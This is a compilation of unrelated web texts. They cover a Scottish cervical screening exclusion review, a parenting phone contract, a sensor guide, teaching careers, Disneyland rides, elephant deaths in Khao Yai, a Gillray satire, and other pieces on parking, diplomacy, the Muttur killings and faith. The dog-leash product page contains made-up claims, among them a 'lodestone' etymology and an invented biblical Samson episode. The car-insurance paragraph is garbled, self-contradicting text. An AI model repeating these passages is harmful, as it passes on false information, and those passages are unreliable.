While the overwhelming majority of these exclusions will be correct, it is likely that more people will be discovered to have been wrongly excluded. This wider review is likely to take at least 12 months to complete, based on the complexity and numbers involved.
Clinical teams have also completed a review of the cancer registry to ascertain whether there are other cases where an exclusion may have contributed to a diagnosis of cervical cancer. While it not possible to be certain, there is a high level of clinical suspicion that in one case, a woman may have developed cervical cancer as a result of an inappropriate exclusion from screening. Separately, there is another very complex case where several factors appear to have contributed to a diagnosis of cervical cancer, including an incorrect exclusion from cervical screening. In both these cases, the women have sadly died.
Ms Todd said:
“I once again offer my sincere apologies to all those affected by these errors. In particular, I extend heartfelt apologies to the women who were excluded from the programme who went on to develop cancer, and to their families. I also recognise the anxiety this will have caused to all those wrongly excluded from screening.
“I know this further review will also concern people, however, I hope I can offer some reassurance. Firstly around 95% of hysterectomies carried out in Scotland are total, and women who have had total hysterectomies do not need to be screened.
“Secondly, the risk of cervical cancer in general is fewer than 1 in every 100 women in Scotland across their lifetime. Thirdly, there are dedicated NHS staff who are committed to completing this work as quickly as possible, and to bringing all their considerable expertise to doing so.
“I recognise that people whose records are being reviewed will want and need to know how long they will have to wait for the outcomes of this review. The NHS will make sure those affected are informed about progress, and I will update Parliament as often as required.”
Samantha Dixon, Chief Executive of Jo’s Cervical Cancer Trust said:
“This additional review is very welcome and every effort must be made to ensure that no woman will slip through the gaps during the investigations; this includes those who may have left Scotland since their surgery and those who have not yet responded to letters.
“While it is important to understand if opportunities to prevent this incident were missed, we must not lose sight of those affected, notably those who have lost loved ones or who are feeling anxious as a result of these announcements. Please know that Jo’s is here for you.”
- All those known to have had a sub-total hysterectomy have now been contacted and reinstated to the screening programme, or offered an appointment with their GP or gynaecology where records cannot conclusively show they were correctly excluded from screening. From the audit of those who had hysterectomies after 1997, of those seen so far, only seven people seen at either their GP or a clinic have needed to be referred for further investigations, and no cases of cervical cancer have been detected
- A further audit of women whose hysterectomies were carried out before 1997 resulted in letters being sent to around a further 170 individuals by 18 August. Of these, 39 people were reinstated in the screening programme and invited to make an appointment for screening with their GP and 132 were offered a gynaecology appointment
- Screening is the most effective way of preventing cervical cancer. It can and does save lives, and the screening process itself is not in doubt
- Jo’s Cervical Cancer Trust continues to make their helpline available for anyone affected or concerned by this issue. It can be reached by calling 0808 802 8000 or via email at firstname.lastname@example.org
- The Scottish Government has provided additional funding to Health Boards so that gynaecology appointments can be offered as quickly as possible. In total, we have now provided over £60,000 to support both reviews, and we will continue to make financial support available for Boards who require it
- It has become apparent that some instances of incorrect exclusions were discovered in the course of previous data-checks, incidents and reviews in 2006, 2015, and again in 2016 and 2017. These were more limited reviews and it was believed that all issues had been resolved. However the Women’s Health Minister has asked Healthcare Improvement Scotland to take forward a review of the processes, systems and governance for the application and management of exclusions in the cervical screening programme in Scotland. An independent chair will be appointed in due course
- Anyone who has any concerns about the symptoms of cervical cancer – and these include unusual discharge, bleeding between periods or after sex, and bleeding after the menopause – should contact their GP straight away for an appointment
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I wanted to avoid this moment until he was closer to 13 but realized that I really just liked that number because it was a teen number. The decision to get any child a cell phone is a big one and deserving of a cell phone contract to make sure both parents and child are clear on the rules of cellular engagement.
There was a time when all kids wanted was a bicycle for the holidays or to stay the night at a friend’s house. I wouldn’t know anything about that because both of my children have grown up in the digital age. That means I am one of the many pioneer parents dealing with the unchartered waters of digital parenting.
Our best defense as parents is to keep our children honest and safe. We use a cell phone contract to get started and will go from there.
Why did we draw up a cell phone contract?
Because our son is a child – that’s why. If we want him to be successful with the cell phone and not have it be a constant thorn in all of our sides because we are frustrated with how he is using it when he is using it and so on, it is up to US to teach HIM how to be successful.
The rules in this contract are the most critical items we needed him to understand, as well as the simplest items that we knew he would abide by. If you make things too complicated or too restrictive, kids will find a way to break the rules. If they break the contract, it’s all for nothing.
The cell phone contract we came up with for our tween is linked below and there is a handy link that lets you print this cell phone contract to use with your own tween.
You can easily print this contract for tweens by clicking on this link or the image above and use it with your own family. Even if your kids aren’t cell phone ready yet, it’s a good tool to have in your back pocket.
And yes, there are 16 rules on the contract.
While some may think that is too many, having a cell phone is a BIG responsibility with HIGH costs. Thus, if he wants it, he should understand that there is a lot at stake. He should approach owning it differently than his favorite toys.
My hope is that this cell phone contract for tweens helps you in your digital parenting responsibilities with your own child. Remember to discuss the contract with your child in a calm and age-appropriate manner so everyone is on the same page.
We’ve also shared a printable Instagram contract for teens and tweens which you can check out right here!
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One-wire temperature sensors like the DS18B20 are devices that can measure temperature with a minimal amount of hardware and wiring. These sensors use a digital protocol to send accurate temperature readings directly to your development board without the need of an analog to digital converter or other extra hardware. You can get one-wire sensors in different form factors like waterproof and high temperature probes--these are perfect for sensing temperature in many different projects and applications. And since these sensors use the one-wire protocol you can even have multiple of them connected to the same pin and read all their temperature values independently. With just a few connections and some CircuitPython code you'll be sensing temperature in no time!
This guide explores how to connect a DS18B20 one-wire temperature sensor to a CircuitPython board and read its temperature from Python code using a few simple CircuitPython modules.
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Going to work should not be boring rather, it should be exciting and every single day should be challenging in a way that you feel you’ve done something good for society. Confused about what you should do? Looking for options? We’ve got you.
A career in education may just be what you need to make a difference in society. There are thousands of different opportunities in teaching and education—information and curriculum planning, special education specialist and counseling being just a few. You can choose whichever path seems interesting to you, but if you haven’t been able to make a decision and are still looking for reasons to join this field, you are on the right page.
Let’s take a look!
Reasons to Pursue a Career in Education
A career in education comes with its pros and cons, but if you are wondering about the pros, here are four reasons for you.
Every now and then, researchers are combining new ways and tactics for teaching. So as to not fall behind, teachers have started pursuing advanced degrees to better learn critical thinking and problem-solving skills.
If you are worried that pursuing a master’s will clash with your work schedule, then getting an online degree is an ideal option for you. Several platforms offer diverse masters in education or Masters of Art in Teaching degrees online. These programs help you strengthen your teaching practice while avoiding the hassle of traveling long distances to reach your campus.
Students spend half of their day at school. Teachers have a huge influence on a student’s life. You can teach them to work hard and always believe in themselves. You have the power to make or break their confidence. Being a teacher, you motivate your students to show creativity and think outside the box. You can also help your students find their potential and discover what they are good at and help them view the world with a positive approach.
Teaching is hands down one of the best career routes to take; it’s a lifelong learning experience. You can get students excited about any topic by sharing mutual interest, dwelling straight into it, and learning along with them.
Teaching is a two-way learning street. You might not notice, but while you are imparting knowledge related to course work, your student will also be teaching you real-life lessons.
You might learn from your students that dreaming should be unrestricted, and every little moment should be celebrated. Your students can help you see the best in everybody.
A job you can never get bored of
Not a single day is the same for teachers. Every day something new is waiting for you in your classroom. The diversity in students you meet throughout your career makes teaching an adventurous journey. Every day you meet such brilliant and unique minds who want to conquer the world. You can be that motivating teacher you never had. And, whenever you help a student get over some obstacle, the excitement on those little faces is priceless.
Difference in society
It’s one of those meaningful careers where you can directly impact a student’s life and bring change in society. You are responsible for shaping young minds and the person they will become one day.
As Brad Henry beautifully quoted, ‘A good teacher can inspire hope, ignite the imagination and instill a love of learning.‘ By becoming a teacher, you shape the country’s future, which is a great responsibility. You can help students overcome their low self-esteem issues, be confident and stand out in the crowd. The US Bureau of Labor Statistics predicts that the teaching profession will grow immensely in the next decade, so the country will need great teachers. By being connected to young minds, you have the chance to inculcate a sense of moral responsibility in them and change the way they view the world.
Now you might be curious about the reasons for pursuing a career in curriculum, so let’s dig into that too.
Reasons for Pursuing a Career in Curriculum
A career in a curriculum is quite challenging but rewarding at the same time. You get to experience a lot of what is changing in the world’s education system and can take part in improving it. Mentioned below are four reasons to help you get started.
Encounter and address upcoming challenges in the educational system
The education system was affected the most during COVID-19. Teachers and curriculum developers have faced a lot of challenges in terms of maintaining the standards of education. The world is rapidly changing, and new challenges are continuously arising in the educational sector; educators are under pressure to prepare students for highly acknowledged careers.
Your knowledge on how to design a curriculum that caters to diverse students can help you meet the standards and prepare students to deal with what the future holds. By making certain amendments in the curriculum for children with special needs, evaluating and assessing the current curriculum, observing teachers, and giving feedback, you can reimagine what education looks like.
Strengthen your teaching career
Having a degree in a curriculum teaches you skills like designing and assessing lessons, which is a bonus in your teaching practice. You can deliver and plan lectures according to each student’s needs so everyone understands them. You can develop online instruction tools and use the skills to accommodate students with learning disabilities and diverse cultural backgrounds. You can also use new learning strategies and step up your teaching career.
Variety of career options
Curriculum instruction and teaching is a quite diverse field. There are tons of career options if you have an advanced degree in the field. Moreover, the best thing is that you can work in the educational sector, be with students, and impact their lives.
Yes, you heard that right! Apart from the obvious, you can pursue the following careers with your master’s degree in a curriculum. Here are a few options:
- instructional coordinator
- Educational specialist
- Curriculum and instruction design director
Remodel education policies
While some degree holders choose to stay in classrooms, others continue with the administrative work, and some hold leadership positions. Whatever you do, make sure you are improving teaching standards and helping students perform better. However, if you become a curriculum specialist, you will impact students around the country. You will be responsible for designing curriculum, training teachers, researching innovative methods of teaching, and evaluating textbooks.
The Bottom Line
A career in education and curriculum is rewarding and demanding at the same time. If you choose to work in any of the respective fields mentioned above, you have the power to make positive changes in the education system – the ones you wished for, when you were a student.
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On this week's show, share some on this day in Disney history and turn our attention to the Disneyland mountains.
Voices of Minnie Mouse
Today we remember Marcellite Garner (the original voice of Minnie Mouse), who passed away at the age of 83 on this day in Disney history.
Born on this day in 1921, this voice-over artist has been heard as the voice of the father in Walt Disney's Carousel of Progress from 1993.
Big Thunder Mountain Railroad
This is an easy first pick as it has a mountain in the actual title! It opened on 2nd September 1979, replacing Mine Train Through Nature's Wonderland. It snuggles into the theming of Frontierland really well; with a great backstory about Rainbow Ridge - a once-thriving mining town. The ride story is that these mine carts carried ore but the mountain was a sacred place for Native Americans so there was a curse!
Rainbow Ridge was abandoned following an earthquake but the mine carts kept chugging down the tracks - without any crew! Now, park guests are invited to take a ride on these possessed vehicles.
|Thor's Hammer Photo Credit Whit Richardson|
The ride Imagineer was Tony Baxter and the ride designer was Bill Watkins. Baxter's idea was built on a previous one from Marc Davies (The Western River Expedition, which was going to be a western-themed pavilion in the Magic Kingdom that would have had a mine coaster ride as part of it.)
Not travelled on this? Well, thanks to The Coaster Views, here is a front seat ride:
Again, this has a mountain in its title! The actual Matterhorn is a mountain of the Alps - being precise it is on the Swiss Italian border in the Monte Rosa area of the Pennine Alps and is 4,478 meters tall (the highest summit in Europe). This mountain is a square-based pyramid (having five faces). Over 500 people have died trying to climb this mountain!
|Photo Credit - Smithsonian Magazine|
Walt had recently been in Switzerland filming The Third Man on the Mountain (a film about a young man who wants to climb the mountain that his dad died on). The beauty of the Matterhorn led to it being the mountain selected for this attraction by Walt buying a postcard of the mountain, and he sent it to Vic Greene (an Imagineer) and said "Vic, build this. Walt."
The attraction has two tracks winding through the internal structure and every now and again, riders get glimpses to the world outside with large reveals. Over the years it has seen refurbishments - in the 1970s the addition of an Abominable Snowman (nicknamed Harold).
|Photo Credit - LaughingPlace.com|
|Can you think of any other mountain themed snack?|
There is no actual mountain here but the ride opened on 27th May 1977. There are five Space Mountains across the Disney theme parks and this was the second of those to open. Each Space Mountains have the same exterior facade and Disneyland's version differs from the Magic Kingdom version as there is only one track and the ride vehicles are different.
|Space Mountain Opens - Photo Credit D23|
Lights on the ride-Hyperspace MountainIn 1996, onboard music was added to the attraction and it has seen Ghost Galaxy overlay and Hyperspace Mountain.
Again, no mountain (but there is a hill) and this log flume attraction opened on 17th July 1989. This attraction will close and be re-themed to Princess and the Frog.
There are slight differences to the Walt Disney World version and interestingly this is the shortest of the three ride incarnations. In its current form, the attraction is based around the Uncle Remus stories and is linked to the Disney film - Song of the South.
Video credit LMG VidsAs we went into detail on the Walt Disney World show about Splash Mountain, we decided to keep this review short and simple.
That's about it for this week. You can find us @DisDreamGirls on Instagram and Twitter. We have the Disney Dream Girls page on Facebook as well as the Disney Dream Girls Podcast Family. If you wish to support us financially and keep the show advert free, visit us at https://www.patreon.com/DisneyDreamGirls and there you can find out the benefits of doing so.
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For as long as the elephants could remember – and that is a long time – the path to the river snaked down the hillside through jungle so dense a troop of pachyderms could simply vanish.
But about three decades ago, humans decided they, too, wanted to get to the river, to gaze at the waterfalls that cascaded into the Khao Yai National Park in central Thailand. The humans paved over part of the elephants’ trail with cement. They built toilets and snack kiosks.
The elephants, though, still needed to reach the river. They hewed close to the old route, the one imprinted on generations of pachyderm brains, but not so close that the day-trippers, with their picnics of sticky rice and grilled pork, would see them.
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It was a fatal diversion. The new trail passed a cliff and an area prone to flash floods. Elephant after elephant drowned. In October, a baby elephant fell into the roiling waters. Others charged in to save the calf. All told, 11 elephants died.
Since the coronavirus pandemic accelerated in March, Khao Yai, Thailand’s oldest national park, has been closed to human visitors for the first time since it opened in 1962. Without the jeeps and the crowds, the park’s 300 or so elephants have been able to roam freely, venturing onto paths once packed with humans. Rarely spotted animals, like the Asian black bear or the gaur, the world’s largest bovine, have emerged, too.
“The park has been able to restore itself,” said Chananya Kanchanasaka, a national park department veterinarian. “We are excited to see the animals are coming out.”
Pandemic lockdowns have given nature a breather all around the world, bringing animals to unexpected places. Cougars toured the deserted streets of Santiago, the Chilean capital. Wild boars have strolled through the lanes of Haifa, Israel. Fish catches off Vietnam are teeming again.
In Thailand, nature rebounded quickly, too. In late April, a herd of about 30 dugong – a relatively rare marine mammal – showed up off a cape once crowded with tourist boats. Leatherback turtles and blacktip reef sharks have returned to other holiday hot spots, too. (In other places, elephants and monkeys that normally play a part in the tourist trade are suffering, however.)
The reprieve for Thailand’s wildlife has provoked a debate in a country where the bond with nature has long been framed as one of domination, either the jungle consuming people or people consuming the jungle.
Beyond the pillaging of its own rainforests, Thailand is a key way station on global wildlife trafficking routes, with horns, tusks and scales from as far away as Africa making their way to China.
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Wild elephants from the region’s forests are trapped and mentally broken down to perform tricks for tourists. Poaching and logging are rampant in Thailand.
In 2018, a Thai construction tycoon was found in a wildlife sanctuary west of Khao Yai with a cache of weapons and the remains of a black leopard, a barking deer and a pheasant. A leopard’s tail was discovered in a soup pot.
Over the years, as park visitors have been educated on how to approach nature, their behaviour has improved, said Somporn Chaikarn, a Khao Yai senior ranger who has worked here for 33 years.
“Tourists don’t drive drunk in the park anymore,” he said. “That’s a big improvement.”
Early in his career, Mr Chaikarn helped build the path down to the Haew Narok waterfall so visitors could gaze up at the cascades that tumble down a nearly 550-foot descent.
Over the years, park employees have tried to reroute the elephants from their old trail, building concrete posts and other barriers. They have installed checkpoints. But elephants kept returning because many of the 108 species of plant they like to eat in the park flourish there.
“You cannot stop an elephant if it really wants to do something,” Mr Chaikarn said.
A wild elephant stops a car on a road at Khao Yai National Park in Thailand’s Nakhon Ratchasima province (Getty)
Khao Yai, which covers about 155 square miles and is part of a larger Unesco World Heritage Site, is believed to have the largest population of wild elephants of any national park in Thailand.
As roads were built through the park, the elephants liked to walk on the warm asphalt and began to treat passing cars as playthings, said Kanchit Srinopawan, who was the head of the park until March and now is the director of the office of natural resources and environment for Prachin Buri province.
“They like sedans, especially, because of the perfect size,” said Mr Srinopawan, showing a picture on his phone of a bull elephant mounting a Mercedes-Benz.
In October, the first sign of trouble came when, amid unusually late monsoonal downpours, a panicked trumpeting echoed from the Haew Narok waterfall. The name means Hell’s Ravine. Floods made reaching the area impossible, but some of the rangers had a hunch about what had happened. Every year, one or two elephants die in the fierce currents, they said. And in 1992, a baby slipped, and seven others followed to try to rescue it. All eight died.
This time around, a baby elephant, around 3 years old, slipped trying to cross the river and plunged nearly 200 feet to the second tier of the waterfall. One after another, members of the herd tried to save the calf.
The only elephants in the group that did not jump in were another baby and its mother.
The panicked cries eventually quieted, and the rains stopped. But floodwaters still impeded the rangers. Days later, they found six bodies. Days after that, a drone located five more.
“The deaths of the 11 elephants were preventable, and the mismanagement by the park was preventable,” said Kemthong Morat, a prominent Thai conservationist who went on a hunger strike to bring attention to their safety. “They seem to forget that the national park’s purpose is for research and conservation. Khao Yai’s big tourism revenues made them forget the main purpose of the park.”
Mr Srinopawan, the former park director, disagreed.
“The environmental groups say that we focus too much on tourists, not on the elephants, but we need a balance,” he said. “We also have to take care of the people who love wildlife and want to enjoy unspoiled nature.”
The park’s official Facebook account has celebrated how otters have returned to sunbathe in the river and chipmunk pups to gambol in the branches. The shy serow, which resembles a missing link between a goat and an antelope, is scampering through meadows, as is the dhole, a springy Asian wild dog.
With few cars around, the elephants, the park’s dominant species, stroll the roads, chomping on foliage without needing to retreat to dangerous corners of the forest where cliffs meet waterfalls.
“We should consider if we should close down the park every year,” said Ms Kanchanasaka, the national park veterinarian. “Nature can restore itself to its fullest.”
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“A satire on the approaching election for the Chancellorship of Oxford University. Grenville, dressed as a cardinal, heads a small procession towards the Devil, who wears a robe on which is a large cross, and holds the bland mask with which he has been hiding his face. Grenville, bowing low, and deferentially holding his large hat, holds out a paper: Catholic Petition for the vacant Chancellorship with a Plan for Erecting a New Popish Sanhedrim on the ruins of old Alma-Mater, The Devil says: Well done my Children! This is all the Convocation I would have; in his left hand is a pitchfork. The Marquis of Buckingham, dressed as a Jesuit, stands behind him, one hand on his shoulder, the other holding his barbed tail. Beside him is Canning (unrecognizable) wearing a Jesuit’s biretta. Beside the Devil is a greyhound with the head of Grey, its collar inscribed Popish Gray Hound. Immediately behind Grenville walks the Pope, wearing his tiara, and holding his cross; he holds up Grenville’s robe on which is a large cross. Napoleon crouches behind the Pope, holding on to his robes and hiding under his mantle. He wears a crown, with uniform and spurred boots; his hand is on the hilt of his sword. Behind walk together Temple, enormously fat and dressed as a monk, and his brother, Lord George Grenville, similarly dressed. The former carries the Host, the latter a lighted candle. In the background rows of bishops and clergymen face the procession. Bishops in the front row, humbly sweeping the ground with their mitres, bow low, each clasping a Mass Book, while those behind cheer with raised mortar-board, hand, or Mass Book. On five of the books are the names of bishoprics: York [Vernon], St Asaph [Cleaver], London [Randolph], Oxford [Moss], Norwich [Bathurst]. Above the design (and the bishops): Golgotha, i.e: the place of Skulls.”–British Museum online catalogue.
- Printmaker: Gillray, James, 1756-1815, printmaker.
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Training Tracking Dog Leash
A dog leash is a long, thin rope or other material typically used to hold an animal by tying it to a leash, harness, or collar. In British English, a leash is primarily intended for an even larger animal, using lead is most commonly used when walking a dog. The word "leash" comes from the word "lodestone", a term that derived from ancient Roman and Greek mythology. In addition to the Roman and Greek roots, the word is also associated with the word "leash" in the United Kingdom, Australia, New Zealand, and, until fairly recently, in the United States. Although popular in today's world, the original purpose of a Training Tracking Dog Leash was not just for walking a dog, but for capturing game or hunting animals. In fact, the first recorded use of a dog leash can be found in the Bible, where a woman caught up in a boar chase with Samson was able to tie herself to Samson's neck with a noose.
A dog leash may be made from a variety of materials, including leather, nylon, rubber, and a variety of hand-held and waist-worn options. While leather, nylon, rubber, and a variety of hand-held dog collars are considering the most popular, there are several other types available. In addition to traditional leather, you can also find collars made from acrylic, vinyl, and metal.
One common use for a dog leash is to attach a leash to a backpack or carrying case. While a leash attached to the back of a backpack is unattractive, many dogs have difficulty pulling a backpack up the stairs; therefore, a dog leash can easily be clipped to the side of a carrying case or utility belt. Other popular uses for a dog leash are to attach to an ID tag, to provide hands-free gripping ability when picking up small objects, to help a disabled or lame dog walk, and to allow a guide dog to keep its position while accompanying blind dogs or following a blind child around. Whether for traveling, walking, or training, a reliable Training Tracking Dog Leash makes walking your pet a much safer, enjoyable experience.Features & Benefits:
- It allows you to give your dog more space and maintaining control gradually
- The perfect's choice for training to come on command and retrieving to hand
- It's made from a long-lasting and multi-filament rope.
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Practice Relating to Nuclear Weapons
Burundi’s Regulations on International Humanitarian Law (2007) states that “there are weapons whose use is prohibited … [such as] nuclear weapons”.
In 1996, during a debate in the First Committee of the UN General Assembly, Burundi stated:
[M]y delegation believes that the Advisory Opinion handed down by the International Court of Justice is very important. It stipulates that the threat or use of nuclear weapons is contrary to the provisions of international law applicable to armed conflict and in particular the principles and rules of humanitarian law. The nuclear Powers should begin negotiations on an international treaty to halt and prohibit the development and production of all nuclear weapons and, ultimately, to destroy all nuclear weapons arsenals, with a view to ensuring that the world is free of nuclear weapons.
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On-street Smart Parking Solution
On-street parking detection technology plays a significant role in modern smart cities
With increasingly car owners in cities, our space is becoming more and more crowded, people hanging around outside often end up spending a half hour or more to look for unoccupied parking space. Sometimes, it may feel like there are none space. Hence, PGE ITS releases a parking lot detection technology to more and more drivers to help him find available space.
PGE ITS wireless parking detection solution
Relying on Hi-Tech, PGE provides a safer, comfortable, convenient, fast and wireless intelligent, information-based living space, to promote the healthy development of human environment.
It is consisted of wireless parking space sensor, wireless data collector, server and platform software (mobile app, LED screen etc.)
It is located on each parking space surface.
With dual detection technology
The data collector works as the gateway
Receiving the data from sensors
Transmit the data to the server
Ethernet/RS232 data output port
Server should be a computer and stored the data into the SQL.
The platform software is developed by our API and protocol
Different function and customized display
-LED display screen
Connecting with the server
Receiving the real-time data via Ethernet cable
Display the available lots correctly and on-timely
1.Outdoor parking space monitoring system
According to the requirement of the owner of this parking lot, it is very difficult for the workers to find a free space in the morning when they come to work into this build’s parking lot, they hope to display the real-time parking space occupancy via mobile and guiding them to find the nearest spots easily and quickly.
After first testing, they felt satisfied on the wireless parking space sensor very much. Now Totally about 300 spots can be implemented. And the accuracy of the parking sensor’s detection result is really high, it is nearly 100%, whatever raining or winding or night.
Their professional installation of sensors and data collectors are one of the important points.
Also they developed a smart parking system software for drivers.
Picture for installing
Also, regarding to the long distance communication, we offer to help him to use solar panel and wireless communication unit for remote transmission.
By our wireless parking space detection products in the rural parking area, it reduce the finding time for drivers, reduce the vehicle emissions, and make the traffic more smooth.
The client’s mobile application can be developed, as the picture displayed, you can see where is detected to be available spaces marked green, red means occupied.
From the indicator, drivers could see where to park so he can easily move to those place without any worry or hurry.
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Each year, we select a few young IT professionals and train, upskill and pair them up with government departments working on healthcare, crime, disaster management, transportation, traffic education, that lack the resources to develop or improve services offered to citizens.
Our program provides young IT professionals with training, mentorship from industry experts, and exposure to the workings of the government. Most importantly, these fellows work on projects that create a large-scale positive impact.
Our Fellowship Program revolves around three key features
Citizens and government working together, hand-in-hand, to solve problems
Adopting user-centric, lean, and agile development methodologies
Increasing civic engagement by creating innovative solutions in public services
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COVID-19: India, Egypt and the new world order
Substantiated by multiple archaeological and historical evidence, relations between two of the world’s oldest civilization, India and Egypt have witnessed a long history of close contact from ancient times. The relationship in modern times starting from the joint correspondence between Mahatma Gandhi and Saad Zaghloul, in their joint venture of getting rid of colonialism, blossomed into an exceptionally close relationship under the leadership of Gamal Abdel Naseer and Jawaharlal Nehru, leading to a Friendship treaty being signed between the two nations in 1955. The mutually beneficial and warm bilateral relations have been characterised by the shared visions of Afro-Asian solidarity and Non-Aligned Movement.
Experiencing very similar predicament and faced with a shared set of developmental challenges, has been instrumental in bringing two nations closer to equally learn and grow in their individual trajectories. Relations based on historic roots have been constantly nurtured and sustained by close political understanding and have reached to the significant level of comprehensive multi-faceted engagements.
The recent telephonic conversation between Prime Minister Narendra Modi and President Abdel Fattah El-Sisi, in wake of COVID-19 pandemic assuring India’s all possible support to ensure availability of pharmaceutical supplies during these difficult times and both the leaders agreeing on the utility of continuous exchange of experiences and best practices, in order to learn from each other, is a reflection of the close bonds that both the nations share and the substance attached to the bilateral relations. However, the momentum in relations and a shared desire to take it to a higher level needs to be emphasized in order to mitigate the looming crisis.
Located between the countries of Africa and Asia, Egypt has been the centre of trade and enterprises in the Middle East and remains the crossroad between the east and the west. The trade relations based on ‘Most Favoured Nation‘ clause between both the nations have been on the consistent rise and the substantial presence of Indian projects and ventures in Egypt enhancing mutual stake and benefits in between, underline the existence of a range of broad potential in trade engagements. According to the Egyptian Central Agency for Public Mobilization and Statistics (CAPMAS), India was Egypt’s 10th largest trading partner in the year 2017-18. It was the 7th largest importer of Egyptian goods and the 11th largest exporter to Egypt for the same duration.
However, amidst rising concerns about the grave economic implications of COVID-19 particularly on developing economies, greater engagement on the economic front between both the nations appear compelling. Both these developing economies with their interest in greater investment flows, foreign capital and in quest of being a manufacturing hub are going to be severely affected by the International business environment which is likely to be characterised by protectionist tendencies and inward-looking policies in Post-COVID World. This convergence of interest calls for the greater cooperation & understanding on bilateral front exploring new areas of cooperation and in their effort to shape the global business order amicable to their interest. Adequate interactions among Govt. bodies, Private sector, Policymakers and Think Tanks with an efficient mechanism in place can be of great help in this regard.
The fact that Covid-19 pandemic has made us aware of every touchable surface that could transmit the disease, it is expected that more contactless interfaces and interactions, with automation and digital fundamentals driving the business, will follow in Post-COVID world and this provides scope for cooperation on capacity building training programmes to leverage the rich demographic profile of both the nations and adapt to the paradigm shift in the business world. There is also a need to strengthen cooperation on building digital infrastructure in both the nations and India with its experience in an initiative like ‘Digital India’ must take the lead.
As outlined by the then India’s Ambassador to Egypt, Sanjay Bhattacharyya in an interview to an Egyptian media house in 2017, “India and Egypt can work much more to diversify the trade basket such as agricultural commodities and manufacture and other items help in boosting trade exchange between the two countries.” The trade basket between both the nations needs to be diversified by tapping on the untapped potential and mechanisms like Joint business forum must be given their due space to explore the scope of cooperation.
Faced with the twin challenges of terrorism and growing radicalisation, cooperation in counter-terrorism operations through efficient institutional linkages between the two military establishment, joint training & military exercises, information sharing mechanisms needs to be strengthened for further tangible advances on this front. Deeper cooperation in the fields of the defence industry and R&D, including the joint production of defence equipment which were part of the discussion during the visit of the then Defence Minister, Nirmala Sitharaman to Egypt in 2018 needs to be carried out through regular exchanges.
The recent attempts to create discord in the relations between India and the Gulf by various Twitter handles impersonating Arab personalities reminds us of the threatening dimension of social media and cyber world, and calls for greater cooperation at all levels to curb such new-age menace, as an individual nation can never be the right framework to deal with these global problems. Also equally appealing is the need to strengthen confidence-building measure for greater resilience in the relations between both the nations.
Being among the ten largest troop and police-contributing countries in United Nations missions, India and Egypt have been at the forefront in the maintenance of international peace and security, and have been a consistent votary of rule-based global order. The shared commitment to achieving a comprehensive reform of the United Nations, including the revitalization of Security Council, require intensification of bilateral relations at all levels with regard to issues pertaining to the work of global governance. With multilateralism facing worst of its crisis in terms of diminishing credibility, a wide political consensus between both the nations acknowledging the set of global problems that humankind faces or is likely to face, have the ability to raise the diminished profile of multilateralism by working on a range of complementaries in different multilateral fora. These two stabilising force in their respective region with the shared history of the Non-Aligned Movement have a larger responsibility to work towards shaping agendas and developments at the regional and global level. Therefore, given the understanding based on a long history of contacts and cooperation on bilateral, regional and global issues, India and Egypt have a much significant role to play in the unfolding new world order.
The views and opinions expressed in this article are those of the author and do not necessarily reflect the views of The Kootneeti Team
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Action Against Hunger Launches Justice for Muttur Campaign
ACF requests independent U.N. investigation into the 2006 murders of its 17 aid workers in Sri Lanka
This week, Action Against Hunger launched a campaign of advocacy and mobilization to demand justice for 17 ACF aid workers who were executed in the town of Muttur, Sri Lanka on August 4, 2006. The campaign is anchored in a signature video and petition that request an independent United Nations investigation to shed light on the circumstances of the murders and hold those responsible for the massacre accountable.
WARNING: Video depicts graphic images, not suitable for all audiences.
Our colleagues were taking shelter in ACF’s offices in Muttur on August 4, 2006, as fighting between government and rebel forces engulfed the town. In one of the most heinous crimes ever committed against humanitarian workers, our 17 colleagues were lined up, forced to their knees and each shot in the head. None of the three national investigations undertaken in Sri Lanka has resulted in substantive answers; worse, evidence has been deliberately concealed and local authorities have obstructed justice.
We’re now facing a critical turning point and need your help. The UN Human Rights Council is scheduled to discuss Sri Lanka’s human rights record on November 1st in Geneva. We need to seize this opportunity, perhaps our last, to ensure these crimes don’t go unsolved and unpunished.
We’re asking our supporters to watch the signature video and sign the petition. You can also explore a timeline of events between August 2006 and today, learn more about the courageous people ACF lost that day, read up on the campaign blog, and tweet your support using #justiceformuttur. Journalists and bloggers can also explore a digital toolkit.
Watch the video, sign the petition
To view the campaign’s signature video, visit www.justiceformuttur.org. At the end of the video, you will be prompted to sign the petition.
To learn more about the Justice for Muttur campaign, contact:
Action Against Hunger | ACF-France
Tel: 0033 1 43 35 82 22
Emergencies and holidays: 06 70 01 58 43
firstname.lastname@example.org / Twitter: @JuliaBelusa
Tell Us What You Think
What do you think it will take to get justice for the Muttur murders? What recourse should humanitarian organizations have if their staff are harassed, harmed, or even killed?
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Normally, the youthful that you are, the lessen your premiums will likely be. But In case you are a man, age does influence the cost of vehicle insurance policies. Although younger male motorists spend less than their more mature counterparts, rates for drivers inside their sixties and seventies skyrocket. Statistically, males are two in addition to a half moments as more likely to be involved in a car or truck crash than women, so the gender gap decreases with age.(coverage choices)(homeowners insurance plan)
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We have all felt the desire to do something against God’s will. But when we did it, we experienced momentary happiness, only for it to give way to the disappointing realization that it was fleeting.
Headless of the result, we often continue to try to replace that momentary happiness with other promising joys. In the end, however, such temporary and fleeting pleasures only leave us empty and unsatisfied. No matter where our hearts seem to lead us, the potential pleasures we find disappear like vapor.
The human heart is an amazing thing, isn’t it? We typically think of the heart as a powerful muscle which pumps blood throughout our body. But the Bible also uses the word to represent the inner person, encompassing one’s thoughts, motives, and desires. The “heart” is the rational, emotional, and volitional center of a person. Yet the Bible also says that the human heart has now become a fountain of evil because of our sin (Mark 7:21).
Enjoy God? What a concept...
This was not the case at first. When God created all things, he made humanity after his own image and likeness (Genesis 1:25). God created us for a specific purpose: that we might glorify God and enjoy a relationship with him forever. To glorify God means to honor, love, praise, cherish, and revere him. What an incredible purpose in life! We were designed to delight in God and joyfully serve him. This is probably the reason that human heart is only satisfied when it accomplishes what it was created to do — to glorify and enjoy God forever.
The tragedy, however, is that every human being fails not only in accomplishing this end, but even in desiring it.
Our rebellious attitude against God, makes it impossible for us to find satisfaction in participating in our God-given purpose.
Instead, we search for substitutes. We look for anything that will fill in the void left in our life because of sin. The Bible calls all substitutes for the one, true God idols.
Do Idols Still Exist?
Very few of us have ever heard the word idol. We might think that such things no longer exist.
A quick analogy might help us realize that idols are much more than carved figures. Lawn mowers are designed to cut grass. If a lawn mower had a mind of its own and decided to shift from cutting grass to cutting gravel or water, disaster would ensue. The blades of a lawnmower are made to cut grass. That’s what a mower does. But when it deviates from the very purpose that it was designed for, namely cutting grass, and begins mowing stones and puddles, it only hurts itself and others.
